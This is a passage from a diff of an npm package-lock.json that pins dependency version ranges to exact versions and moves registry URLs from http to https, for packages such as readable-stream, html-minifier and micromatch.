"sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", "dev": true, "requires": { - "is-plain-object": "^2.0.4" + "is-plain-object": "2.0.4" } } } @@ -4715,9 +4714,9 @@ "integrity": "sha512-bn71H9+qWoOQKyZDo25mOMVpSmXROAsTJVVVYzrrtol3d4y+AsKjf4Iwl2Q+IuT0kFSQ1qo166UuIwqYq7mGnA==", "dev": true, "requires": { - "chardet": "^0.7.0", - "iconv-lite": "^0.4.24", - "tmp": "^0.0.33" + "chardet": "0.7.0", + "iconv-lite": "0.4.24", + "tmp": "0.0.33" }, "dependencies": { "iconv-lite": { @@ -4726,7 +4725,7 @@ "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", "dev": true, "requires": { - "safer-buffer": ">= 2.1.2 < 3" + "safer-buffer": "2.1.2" } } } @@ -4738,7 +4737,7 @@ "dev": true, "optional": true, "requires": { - "is-extglob": "^1.0.0" + "is-extglob": "1.0.0" } }, "extract-zip": { @@ -4813,7 +4812,7 @@ "integrity": "sha1-TkkvjQTftviQA1B/btvy1QHnxvQ=", "dev": true, "requires": { - "websocket-driver": ">=0.5.1" + "websocket-driver": "0.7.0" } }, "fd-slicer": { @@ -4822,7 +4821,7 @@ "integrity": "sha1-i1vL2ewyfFBBv5qwI/1nUPEXfmU=", "dev": true, "requires": { - "pend": "~1.2.0" + "pend": "1.2.0" } }, "fetch": { @@ -4840,7 +4839,7 @@ "integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=", "dev": true, "requires": { - "escape-string-regexp": "^1.0.5" + "escape-string-regexp": "1.0.5" } }, "file-entry-cache": { @@ -4849,8 +4848,8 @@ "integrity": "sha1-w5KZDD5oR4PYOLjISkXYoEhFg2E=", "dev": true, "requires": { - "flat-cache": "^1.2.1", - "object-assign": "^4.0.1" + "flat-cache": "1.3.0", + "object-assign": "4.1.1" } }, "file-loader": { @@ -4859,8 +4858,8 @@ "integrity": "sha512-TGR4HU7HUsGg6GCOPJnFk06RhWgEWFLAGWiT6rcD+GRC2keU3s9RGJ+b3Z6/U73jwwNb2gKLJ7YCrp+jvU4ALg==", "dev": true, "requires": { - "loader-utils": "^1.0.2", - "schema-utils": "^0.4.5" + "loader-utils": "1.1.0", + "schema-utils": "0.4.7" }, "dependencies": { "loader-utils": { @@ -4869,9 +4868,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -4890,11 +4889,11 @@ "dev": true, "optional": true, "requires": { - "is-number": "^2.1.0", - "isobject": "^2.0.0", - "randomatic": "^1.1.3", - "repeat-element": "^1.1.2", - "repeat-string": "^1.5.2" + "is-number": "2.1.0", + "isobject": "2.1.0", + "randomatic": "1.1.7", + "repeat-element": "1.1.2", + "repeat-string": "1.6.1" } }, "finalhandler": { @@ -4904,12 +4903,12 @@ "dev": true, "requires": { "debug": "2.6.9", - "encodeurl": "~1.0.1", - "escape-html": "~1.0.3", - "on-finished": "~2.3.0", - "parseurl": "~1.3.2", - "statuses": "~1.3.1", - "unpipe": "~1.0.0" + "encodeurl": "1.0.2", + "escape-html": "1.0.3", + "on-finished": "2.3.0", + "parseurl": "1.3.2", + "statuses": "1.3.1", + "unpipe": "1.0.0" }, "dependencies": { "debug": { @@ -4935,9 +4934,9 @@ "integrity": "sha1-kojj6ePMN0hxfTnq3hfPcfww7m8=", "dev": true, "requires": { - "commondir": "^1.0.1", - "make-dir": "^1.0.0", - "pkg-dir": "^2.0.0" + "commondir": "1.0.1", + "make-dir": "1.3.0", + "pkg-dir": "2.0.0" } }, "find-up": { @@ -4946,8 +4945,8 @@ "integrity": "sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=", "dev": true, "requires": { - "path-exists": "^2.0.0", - "pinkie-promise": "^2.0.0" + "path-exists": "2.1.0", + "pinkie-promise": "2.0.1" } }, "flat-cache": { @@ -4956,10 +4955,10 @@ "integrity": "sha1-0wMLMrOBVPTjt+nHCfSQ9++XxIE=", "dev": true, "requires": { - "circular-json": "^0.3.1", - "del": "^2.0.2", - "graceful-fs": "^4.1.2", - "write": "^0.2.1" + "circular-json": "0.3.3", + "del": "2.2.2", + "graceful-fs": "4.1.11", + "write": "0.2.1" } }, "flush-write-stream": { @@ -4968,8 +4967,8 @@ "integrity": "sha512-calZMC10u0FMUqoiunI2AiGIIUtUIvifNwkHhNupZH4cbNnW1Itkoh/Nf5HFYmDrwWPjrUxpkZT0KhuCq0jmGw==", "dev": true, "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.4" + "inherits": "2.0.3", + "readable-stream": "2.3.6" }, "dependencies": { "isarray": { @@ -4986,17 +4985,17 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -5005,7 +5004,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -5016,7 +5015,7 @@ "integrity": "sha512-GHjtHDlY/ehslqv0Gr5N0PUJppgg/q0rOBvX0na1s7y1A3LWxPqCYU76s3Z1bM4+UZB4QF0usaXLT5wFpof5PA==", "dev": true, "requires": { - "debug": "^3.1.0" + "debug": "3.1.0" }, "dependencies": { "debug": { @@ -5048,7 +5047,7 @@ "dev": true, "optional": true, "requires": { - "for-in": "^1.0.1" + "for-in": "1.0.2" } }, "forever-agent": { @@ -5063,9 +5062,9 @@ "integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=", "dev": true, "requires": { - "asynckit": "^0.4.0", + "asynckit": "0.4.0", "combined-stream": "1.0.6", - "mime-types": "^2.1.12" + "mime-types": "2.1.16" } }, "forwarded": { @@ -5080,7 +5079,7 @@ "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", "dev": true, "requires": { - "map-cache": "^0.2.2" + "map-cache": "0.2.2" } }, "fresh": { @@ -5095,8 +5094,8 @@ "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", "dev": true, "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.0" + "inherits": "2.0.3", + "readable-stream": "2.3.6" }, "dependencies": { "isarray": { @@ -5113,17 +5112,17 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -5132,7 +5131,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -5143,9 +5142,9 @@ "integrity": "sha1-zTzl9+fLYUWIP8rjGR6Yd/hYeVA=", "dev": true, "requires": { - "graceful-fs": "^4.1.2", - "jsonfile": "^2.1.0", - "klaw": "^1.0.0" + "graceful-fs": "4.1.11", + "jsonfile": "2.4.0", + "klaw": "1.3.1" } }, "fs-readdir-recursive": { @@ -5160,10 +5159,10 @@ "integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=", "dev": true, "requires": { - "graceful-fs": "^4.1.2", - "iferr": "^0.1.5", - "imurmurhash": "^0.1.4", - "readable-stream": "1 || 2" + "graceful-fs": "4.1.11", + "iferr": "0.1.5", + "imurmurhash": "0.1.4", + "readable-stream": "1.0.34" } }, "fs.realpath": { @@ -5179,8 +5178,8 @@ "dev": true, "optional": true, "requires": { - "nan": "^2.3.0", - "node-pre-gyp": "^0.6.36" + "nan": "2.6.2", + "node-pre-gyp": "0.6.36" }, "dependencies": { "abbrev": { @@ -5202,8 +5201,7 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "aproba": { "version": "1.1.1", @@ -5254,8 +5252,7 @@ "balanced-match": { "version": "0.4.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "bcrypt-pbkdf": { "version": "1.0.1", @@ -5297,8 +5294,7 @@ "buffer-shims": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "caseless": { "version": "0.12.0", @@ -6140,7 +6136,7 @@ }, "get-stream": { "version": "3.0.0", - "resolved": "http://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=", "dev": true }, @@ -6156,7 +6152,7 @@ "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", "dev": true, "requires": { - "assert-plus": "^1.0.0" + "assert-plus": "1.0.0" } }, "glob": { @@ -6165,12 +6161,12 @@ "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==", "dev": true, "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" } }, "glob-base": { @@ -6180,8 +6176,8 @@ "dev": true, "optional": true, "requires": { - "glob-parent": "^2.0.0", - "is-glob": "^2.0.0" + "glob-parent": "2.0.0", + "is-glob": "2.0.1" } }, "glob-parent": { @@ -6190,7 +6186,7 @@ "integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=", "dev": true, "requires": { - "is-glob": "^2.0.0" + "is-glob": "2.0.1" } }, "global": { @@ -6199,8 +6195,8 @@ "integrity": "sha1-52mJJopsdMOJCLEwWxD8DjlOnQ8=", "dev": true, "requires": { - "min-document": "^2.19.0", - "process": "~0.5.1" + "min-document": "2.19.0", + "process": "0.5.2" } }, "global-modules-path": { @@ -6212,7 +6208,7 @@ "globals": { "version": "9.18.0", "resolved": "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz", - "integrity": "sha512-S0nG3CLEQiY/ILxqtztTWH/3iRRdyBLw6KMDxnKMchrtbj2OFmehVh0WUCfW3DUrIgx/qFrJPICrq4Z4sTR9UQ==", + "integrity": "sha1-qjiWs+abSH8X4x7SFD1pqOMMLYo=", "dev": true }, "globby": { @@ -6221,12 +6217,12 @@ "integrity": "sha1-69hGZ8oNuzMLmbz8aOrCvFQ3Dg0=", "dev": true, "requires": { - "array-union": "^1.0.1", - "arrify": "^1.0.0", - "glob": "^7.0.3", - "object-assign": "^4.0.1", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0" + "array-union": "1.0.2", + "arrify": "1.0.1", + "glob": "7.1.3", + "object-assign": "4.1.1", + "pify": "2.3.0", + "pinkie-promise": "2.0.1" } }, "graceful-fs": { @@ -6258,10 +6254,10 @@ "integrity": "sha1-Ywo13+ApS8KB7a5v/F0yn8eYLcw=", "dev": true, "requires": { - "async": "^1.4.0", - "optimist": "^0.6.1", - "source-map": "^0.4.4", - "uglify-js": "^2.6" + "async": "1.5.2", + "optimist": "0.6.1", + "source-map": "0.4.4", + "uglify-js": "2.8.29" }, "dependencies": { "source-map": { @@ -6270,7 +6266,7 @@ "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", "dev": true, "requires": { - "amdefine": ">=0.0.4" + "amdefine": "1.0.1" } } } @@ -6287,8 +6283,8 @@ "integrity": "sha1-ukAsJmGU8VlW7xXg/PJCmT9qff0=", "dev": true, "requires": { - "ajv": "^5.1.0", - "har-schema": "^2.0.0" + "ajv": "5.5.2", + "har-schema": "2.0.0" }, "dependencies": { "ajv": { @@ -6297,10 +6293,10 @@ "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", "dev": true, "requires": { - "co": "^4.6.0", - "fast-deep-equal": "^1.0.0", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.3.0" + "co": "4.6.0", + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" } } } @@ -6311,7 +6307,7 @@ "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", "dev": true, "requires": { - "function-bind": "^1.1.1" + "function-bind": "1.1.1" } }, "has-ansi": { @@ -6320,7 +6316,7 @@ "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", "dev": true, "requires": { - "ansi-regex": "^2.0.0" + "ansi-regex": "2.1.1" } }, "has-binary2": { @@ -6364,9 +6360,9 @@ "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", "dev": true, "requires": { - "get-value": "^2.0.6", - "has-values": "^1.0.0", - "isobject": "^3.0.0" + "get-value": "2.0.6", + "has-values": "1.0.0", + "isobject": "3.0.1" }, "dependencies": { "isobject": { @@ -6383,8 +6379,8 @@ "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", "dev": true, "requires": { - "is-number": "^3.0.0", - "kind-of": "^4.0.0" + "is-number": "3.0.0", + "kind-of": "4.0.0" }, "dependencies": { "is-number": { @@ -6393,7 +6389,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -6402,7 +6398,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -6413,7 +6409,7 @@ "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -6424,8 +6420,8 @@ "integrity": "sha1-X8hoaEfs1zSZQDMZprCj8/auSRg=", "dev": true, "requires": { - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" + "inherits": "2.0.3", + "safe-buffer": "5.1.1" } }, "hash.js": { @@ -6434,8 +6430,8 @@ "integrity": "sha512-eWI5HG9Np+eHV1KQhisXWwM+4EPPYe5dFX1UZZH7k/E3JzDEazVH+VGlZi6R94ZqImq+A3D1mCEtrFIfg/E7sA==", "dev": true, "requires": { - "inherits": "^2.0.3", - "minimalistic-assert": "^1.0.1" + "inherits": "2.0.3", + "minimalistic-assert": "1.0.1" } }, "hasha": { @@ -6444,8 +6440,8 @@ "integrity": "sha1-eNfL/B5tZjA/55g3NlmEUXsvbuE=", "dev": true, "requires": { - "is-stream": "^1.0.1", - "pinkie-promise": "^2.0.0" + "is-stream": "1.1.0", + "pinkie-promise": "2.0.1" } }, "hawk": { @@ -6454,10 +6450,10 @@ "integrity": "sha512-miowhl2+U7Qle4vdLqDdPt9m09K6yZhkLDTWGoUiUzrQCn+mHHSmfJgAyGaLRZbPmTqfFFjRV1QWCW0VWUJBbQ==", "dev": true, "requires": { - "boom": "4.x.x", - "cryptiles": "3.x.x", - "hoek": "4.x.x", - "sntp": "2.x.x" + "boom": "4.3.1", + "cryptiles": "3.1.2", + "hoek": "4.2.1", + "sntp": "2.1.0" } }, "he": { @@ -6469,13 +6465,13 @@ "history": { "version": "4.7.2", "resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz", - "integrity": "sha512-1zkBRWW6XweO0NBcjiphtVJVsIQ+SXF29z9DVkceeaSLVMFXHool+fdCZD4spDCfZJCILPILc3bm7Bc+HRi0nA==", + "integrity": "sha1-IrXH8xYzxbgCHH9KipVKwTnujVs=", "requires": { - "invariant": "^2.2.1", - "loose-envify": "^1.2.0", - "resolve-pathname": "^2.2.0", - "value-equal": "^0.4.0", - "warning": "^3.0.0" + "invariant": "2.2.2", + "loose-envify": "1.3.1", + "resolve-pathname": "2.2.0", + "value-equal": "0.4.0", + "warning": "3.0.0" } }, "hmac-drbg": { @@ -6484,9 +6480,9 @@ "integrity": "sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=", "dev": true, "requires": { - "hash.js": "^1.0.3", - "minimalistic-assert": "^1.0.0", - "minimalistic-crypto-utils": "^1.0.1" + "hash.js": "1.1.5", + "minimalistic-assert": "1.0.1", + "minimalistic-crypto-utils": "1.0.1" } }, "hoek": { @@ -6506,8 +6502,8 @@ "integrity": "sha1-42w/LSyufXRqhX440Y1fMqeILbg=", "dev": true, "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.1" + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" } }, "hosted-git-info": { @@ -6522,10 +6518,10 @@ "integrity": "sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI=", "dev": true, "requires": { - "inherits": "^2.0.1", - "obuf": "^1.0.0", - "readable-stream": "^2.0.1", - "wbuf": "^1.1.0" + "inherits": "2.0.3", + "obuf": "1.1.2", + "readable-stream": "2.3.6", + "wbuf": "1.7.3" }, "dependencies": { "isarray": { @@ -6542,17 +6538,17 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -6561,7 +6557,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -6578,11 +6574,11 @@ "integrity": "sha512-7hIW7YinOYUpo//kSYcPB6dCKoceKLmOwjEMmhIobHuWGDVl0Nwe4l68mdG/Ru0wcUxQjVMEoZpkalZ/SE7zog==", "dev": true, "requires": { - "es6-templates": "^0.2.3", - "fastparse": "^1.1.1", - "html-minifier": "^3.5.8", - "loader-utils": "^1.1.0", - "object-assign": "^4.1.1" + "es6-templates": "0.2.3", + "fastparse": "1.1.1", + "html-minifier": "3.5.19", + "loader-utils": "1.1.0", + "object-assign": "4.1.1" }, "dependencies": { "loader-utils": { @@ -6591,9 +6587,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -6604,13 +6600,13 @@ "integrity": "sha512-Qr2JC9nsjK8oCrEmuB430ZIA8YWbF3D5LSjywD75FTuXmeqacwHgIM8wp3vHYzzPbklSjp53RdmDuzR4ub2HzA==", "dev": true, "requires": { - "camel-case": "3.0.x", - "clean-css": "4.1.x", - "commander": "2.16.x", - "he": "1.1.x", - "param-case": "2.1.x", - "relateurl": "0.2.x", - "uglify-js": "3.4.x" + "camel-case": "3.0.0", + "clean-css": "4.1.11", + "commander": "2.16.0", + "he": "1.1.1", + "param-case": "2.1.1", + "relateurl": "0.2.7", + "uglify-js": "3.4.7" }, "dependencies": { "commander": { @@ -6631,8 +6627,8 @@ "integrity": "sha512-J0M2i1mQA+ze3EdN9SBi751DNdAXmeFLfJrd/MDIkRc3G3Gbb9OPVSx7GIQvVwfWxQARcYV2DTxIkMyDAk3o9Q==", "dev": true, "requires": { - "commander": "~2.16.0", - "source-map": "~0.6.1" + "commander": "2.16.0", + "source-map": "0.6.1" } } } @@ -6643,12 +6639,12 @@ "integrity": "sha1-sBq71yOsqqeze2r0SS69oD2d03s=", "dev": true, "requires": { - "html-minifier": "^3.2.3", - "loader-utils": "^0.2.16", - "lodash": "^4.17.3", - "pretty-error": "^2.0.2", - "tapable": "^1.0.0", - "toposort": "^1.0.0", + "html-minifier": "3.5.19", + "loader-utils": "0.2.17", + "lodash": "4.17.10", + "pretty-error": "2.1.1", + "tapable": "1.0.0", + "toposort": "1.0.7", "util.promisify": "1.0.0" } }, @@ -6658,10 +6654,10 @@ "integrity": "sha1-zHDQWln2VC5D8OaFyYLhTJJKnv4=", "dev": true, "requires": { - "domelementtype": "1", - "domhandler": "2.1", - "domutils": "1.1", - "readable-stream": "1.0" + "domelementtype": "1.3.0", + "domhandler": "2.1.0", + "domutils": "1.1.6", + "readable-stream": "1.0.34" }, "dependencies": { "domutils": { @@ -6670,7 +6666,7 @@ "integrity": "sha1-vdw94Jm5ou+sxRxiPyj0FuzFdIU=", "dev": true, "requires": { - "domelementtype": "1" + "domelementtype": "1.3.0" } } } @@ -6687,10 +6683,10 @@ "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=", "dev": true, "requires": { - "depd": "~1.1.2", + "depd": "1.1.2", "inherits": "2.0.3", "setprototypeof": "1.1.0", - "statuses": ">= 1.4.0 < 2" + "statuses": "1.5.0" } }, "http-parser-js": { @@ -6705,21 +6701,21 @@ "integrity": "sha512-Taqn+3nNvYRfJ3bGvKfBSRwy1v6eePlm3oc/aWVxZp57DQr5Eq3xhKJi7Z4hZpS8PC3H4qI+Yly5EmFacGuA/g==", "dev": true, "requires": { - "eventemitter3": "^3.0.0", - "follow-redirects": "^1.0.0", - "requires-port": "^1.0.0" + "eventemitter3": "3.1.0", + "follow-redirects": "1.5.5", + "requires-port": "1.0.0" } }, "http-proxy-middleware": { "version": "0.18.0", - "resolved": "http://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.18.0.tgz", + "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.18.0.tgz", "integrity": "sha512-Fs25KVMPAIIcgjMZkVHJoKg9VcXcC1C8yb9JUgeDvVXY0S/zgVIhMb+qVswDIgtJe2DfckMSY2d6TuTEutlk6Q==", "dev": true, "requires": { - "http-proxy": "^1.16.2", - "is-glob": "^4.0.0", - "lodash": "^4.17.5", - "micromatch": "^3.1.9" + "http-proxy": "1.17.0", + "is-glob": "4.0.0", + "lodash": "4.17.10", + "micromatch": "3.1.10" }, "dependencies": { "arr-diff": { @@ -6740,16 +6736,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" }, "dependencies": { "extend-shallow": { @@ -6758,7 +6754,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -6769,13 +6765,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -6784,7 +6780,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "extend-shallow": { @@ -6793,7 +6789,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } }, "is-accessor-descriptor": { @@ -6802,7 +6798,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -6811,7 +6807,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -6822,7 +6818,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -6831,7 +6827,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -6842,9 +6838,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" } }, "kind-of": { @@ -6861,14 +6857,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -6877,7 +6873,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "extend-shallow": { @@ -6886,7 +6882,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -6897,10 +6893,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" 